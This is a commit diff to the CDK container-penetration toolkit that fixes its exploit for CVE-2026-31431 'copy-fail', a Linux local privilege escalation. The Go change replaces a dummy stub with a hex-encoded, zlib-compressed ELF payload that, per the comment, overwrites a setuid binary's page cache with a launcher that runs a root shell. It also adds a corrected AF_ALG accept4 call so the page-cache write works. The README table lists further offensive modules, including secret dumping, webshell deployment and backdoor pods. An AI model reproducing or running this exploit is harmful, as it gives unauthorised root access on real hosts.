fix: CVE-2026-31431 copy-fail (non-root→root & x86_64 only)

README.md

@@ -160,7 +160,7 @@ cdk run <script-name> [options]
 | Credential Access    | Dump K8s Secrets                                           | k8s-secret-dump        | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump)                |
 | Credential Access    | Dump K8s Config                                            | k8s-configmap-dump     | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump)             |
 | Privilege Escalation | K8s RBAC Bypass                                            | k8s-get-sa-token       | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token)               |
-| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root, **no container escape**) | copy-fail-cve-2026-31431 | ✔      |                                                                            | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431)       |
+| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 | ✔      |                                                                            | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431)       |
 | Persistence          | Deploy WebShell                                            | webshell-deploy        | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy)                |
 | Persistence          | Deploy Backdoor Pod                                        | k8s-backdoor-daemonset | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset)         |
 | Persistence          | Deploy Shadow K8s api-server                               | k8s-shadow-apiserver   | ✔         || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

@@ -52,12 +52,10 @@ import (
 	"golang.org/x/sys/unix"
 )
 
-// copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub
-// (160 bytes uncompressed) to be injected into the SUID target's page cache.
-// The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2,
-// data encoding 1) so it passes the kernel's ELF loader checks.
-// Generated with: python3 -c "import zlib,struct; h=bytearray(160); h[0:4]=b'\x7fELF'; h[4]=2; h[5]=1; h[6]=1; struct.pack_into('<H',h,16,2); struct.pack_into('<H',h,18,0x3e); struct.pack_into('<I',h,20,1); struct.pack_into('<H',h,52,64); print(zlib.compress(bytes(h)).hex())"
-const copyFailPayloadHex = "789cab77f57163626464800126063b06040f3b7020204f4d0000163d01dc"
+// copyFailPayloadHex is the original zlib-compressed x86_64 ELF payload used
+// by the reference Python PoC. It replaces the target SUID binary's page cache
+// with a tiny setuid-root launcher that eventually executes `/bin/sh`.
+const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
 
 // copyFailDecompressPayload decompresses the embedded zlib payload.
 func copyFailDecompressPayload() ([]byte, error) {
@@ -91,6 +89,24 @@ func buildAlgCmsg(level, typ int32, data []byte) []byte {
 	return buf
 }
 
+// acceptAlgOpFd accepts the operation socket from an AF_ALG listener. Unlike
+// the generic unix.Accept helper, AF_ALG expects addr/addrlen to be NULL.
+func acceptAlgOpFd(algFd int) (int, error) {
+	fd, _, errno := unix.Syscall6(
+		unix.SYS_ACCEPT4,
+		uintptr(algFd),
+		0,
+		0,
+		uintptr(unix.SOCK_CLOEXEC),
+		0,
+		0,
+	)
+	if errno != 0 {
+		return 0, errno
+	}
+	return int(fd), nil
+}
+
 // copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write
 // exactly four bytes of chunk into the page cache of the file identified by fd
 // at the given byte offset.
@@ -142,7 +158,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
 	}
 
 	// Accept returns the operation socket used for actual encrypt/decrypt calls.
-	opFd, _, err := unix.Accept(algFd)
+	// AF_ALG sockets expect accept4(..., NULL, NULL, SOCK_CLOEXEC).
+	opFd, err := acceptAlgOpFd(algFd)
 	if err != nil {
 		return fmt.Errorf("accept: %v", err)
 	}